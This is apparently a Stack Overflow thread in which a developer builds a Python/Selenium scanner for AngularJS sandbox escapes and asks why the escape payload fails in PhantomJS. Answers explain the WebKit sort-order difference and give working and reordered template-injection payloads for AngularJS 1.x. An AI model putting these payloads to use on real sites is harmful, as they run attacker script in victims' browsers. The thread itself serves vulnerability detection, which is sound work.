10

I am building an application in Python that checks if a certain web application is vulnerable for an AngularJS Sandbox Escape/Bypass.

Here is how it works.

My app starts a local web server (http://localhost) using the following content.

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

The Sandbox Escape payload I am using is {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}, which should open a new window due to the open(1) call.

After starting the web server it uses Selenium (with PhantomJS as driver) to check if a new window opened due to the AngularJS Sandbox Escape.

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

The problem I'm facing

PhantomJS does not open a new window. When I navigate to http://localhost using Google Chrome it does open a new window.

Here is the PhantomJS console log (containing two errors):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

And this is the Google Chrome console log (throws an error but does open a new window):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

Some other AngularJS Sandbox Escape payloads work without any problems. For example the payload below (for AngularJS version 1.0.0 to 1.1.5) opens a new window in Chrome aswell as PhantomJS.

{{constructor.constructor('open(1)')()}}

I hope someone will be able to help me fix this issue so that I can detect if the payload executed succesfully.

Please note that I am using open(1) instead of alert(1) since it's not possible to detect alerts in PhantomJS.

Thanks in advance.


Update 1:

This is a JSFiddle that works in Google Chrome, but does not work in PhantomJS. I am looking for a solution (maybe a change in the payload or the PhantomJS settings or something) so that the payload also triggers in PhantomJS.

https://jsfiddle.net/x90ey5fa/

Update 2:

I found out it's not related to AngularJS. The JSFiddle below contains 4 lines of JavaScript which work in Google Chrome but do not work in PhantomJS. I also attached the console log from PhantomJS.

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

Version details:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)

Tijme
  • 39
  • 2
  • 24
  • 41
  • jsFiddle it please. I'll try my best to help you. – Jorge Fuentes González Aug 03 '17 at 17:56
  • 1
    I think this is at least a QtWebKit bug. PhantomJS uses Qt on the back end. I used PySide (a Qt port) to make a bare-bones test web browser, and it can't parse that JavaScript either. – Andrew Myers Aug 05 '17 at 06:07
  • @AndrewMyers Thanks. It's weird though since the same engine is used by Google Chrome (source: http://trac.webkit.org/wiki/QtWebKitFeatures22) – Tijme Aug 05 '17 at 16:24
  • 1
    That page hasn't been updated in 6 years. Chrome forked WebKit and is now using Blink. QtWebKit should be the same as Safari, though. It might be interesting to try this on Safari. – Andrew Myers Aug 05 '17 at 19:18
  • 1
    @AndrewMyers Thanks. Just tested it in Safari. It throws a `Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.`. So now I'm wondering if the payload should or shouldn't execute based on the JavaScript standards. – Tijme Aug 05 '17 at 19:38
  • 1
    @AndrewMyers Maybe I can make the payload compatible with QtWebKit and the correct AngularJS version. That would be awesome :) – Tijme Aug 05 '17 at 19:43
  • @Tijme I tried the second Jsfiddle link on chrome. It blocked the opening of new window. This is a security mechanism ib browser which prevents opening popups programmatically. If you are doing this in response to a user action like button click then it should be fine. My guess is that phantom also blocks this popup. Check [this](https://stackoverflow.com/questions/2587677/avoid-browser-popup-blockers) for more info – arunkjn Aug 06 '17 at 13:04
  • @arunkjn Thanks. PhantomJS does not block the popup by default. I also tested it with other payloads and they open popups perfectly. You can also try to change the `open` call to `document.write` or something and you'll see it works in Chrome, but doesn't in PhantomJS. – Tijme Aug 06 '17 at 13:51
  • Can you try using PhantomJS 2.5 beta from https://bitbucket.org/ariya/phantomjs/downloads ? – Vaviloff Aug 07 '17 at 15:21
  • @Vaviloff I did, I also tried older versions but unfortunately none of them seem to work. – Tijme Aug 07 '17 at 16:22

2 Answers2

2

Your Safari error is very illuminating (and I am kicking myself for not reading it more closely). Observe:

Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.

This parameter declaration part is important.

What the payload does is

  1. Set c to the toString constructor, Function (which creates functions)
  2. Redirects the Function prototype's toString method to call
  3. Sorts the array using c, thus creating a new function via Function("a", "open(1)")
  4. I'm not sure why, but the result of this sort is converted to string via toString, which has been redirected to call, resulting in calling the new function, which calls open(1)

That is how it works in Chrome, anyway. However .sort() does not necessarily work the same way in all browsers. It's just supposed to sort things... so why does it matter what order it looks at items? After all, the function passed should make sure that everything comes out in the right order anyway.

As MDN says, the syntax for Function is

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit is sorting it "backwards", so instead of calling Function("a", "open(1)"), it makes the call be Function("open(1)", "a"). When multiple arguments are given, the last one is assumed to be the function body and all the rest are interpreted as arguments. This is why you're getting the unexpected token. Parenthesis are not a valid part of a parameter name.

Here is an alternative:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

I tested it in my QtWebKit-based browser and it worked. Of course it will also cause a SyntaxError on Chrome because the arguments are "backwards"...


The below are several attempts to get this to work seamlessly in Angular both on PhantomJS and Chrome. Again, these do not work. I'm leaving these here in case they inspire someone to create a more complete solution.

Works on PhantomJS and Chrome but not with Angular (due to the function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Works with Angular on Chrome, but not PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
Andrew Myers
  • 2,754
  • 5
  • 32
  • 40
  • Wow, this is awesome. Thanks for the explanation. The last one doesn't work with AngularJS unfortunately, the backwards array does work however :) – Tijme Aug 08 '17 at 12:20
  • The payload that works in both Chrome and QtWebKit throws this error when used in AngularJS: https://docs.angularjs.org/error/$parse/syntax?p0=%7B&p1=is%20unexpected,%20expecting%20%5B)%5D&p2=27&p3=%5B1,%200%5D.sort(function(a,%20b)%7Bn%3Da%7D);d%3D(n)%3F%5B%22a%22,%22open(1)%22%5D:%5B%22open(1)%22,%22a%22%5D;c%3DtoString.constructor;p%3Dc.prototype;p.toString%3Dp.call;d.sort(c)&p4=%7Bn%3Da%7D);d%3D(n)%3F%5B%22a%22,%22open(1)%22%5D:%5B%22open(1)%22,%22a%22%5D;c%3DtoString.constructor;p%3Dc.prototype;p.toString%3Dp.call;d.sort(c – Tijme Aug 08 '17 at 13:48
  • Yes. I wasn't thinking through that. Angular is _supposed_ to block all references to `function`, and that includes `Function` and `toString.constructor`. Even the original payload causes a lexer warning, just after the function fires. – Andrew Myers Aug 08 '17 at 14:03
  • I thought that I could maybe just create two arrays (in different order) and then call sort on both of them. But unfortunately it stops working if the first sort throws an error. It's pretty hard to make it cross-browser compatible. – Tijme Aug 08 '17 at 14:08
  • If you want something tantalizingly close, check out https://jsfiddle.net/8k292ppt/. It can create two functions, and the first creates a global variable. I'm not sure about using `b=1` as a parameter, though. My QtWebKit doesn't like that, so PhantomJS may not like it either. – Andrew Myers Aug 08 '17 at 14:20
  • Here it is again, this time actually using the global variables to set up the next array: https://jsfiddle.net/8k292ppt/1/ – Andrew Myers Aug 08 '17 at 14:25
  • Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/151403/discussion-between-tijme-and-andrew-myers). – Tijme Aug 08 '17 at 14:32
0

You can do it in a variety of ways. To name a few:

You can create (or delete) an HTML element and detect it in Selenium.

Also, you can do a console.log and detect it with this: Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?

And other way can be to call a PhantomJS function that will directly notify the phantom instance with any payload you want (as long as the payload is JSON.stringifable).

Never used Selenium so don't know if you can access the PhantomJS/page instance. If Selenium allows you to do so you can do something like this:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

And in your webpage:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

For instance, as long as you can run the JavaScript code that you want, you can do whatever you can think of.

An easy way of doing this is to thing in "reverse mode".

Jorge Fuentes González
  • 11,568
  • 4
  • 44
  • 64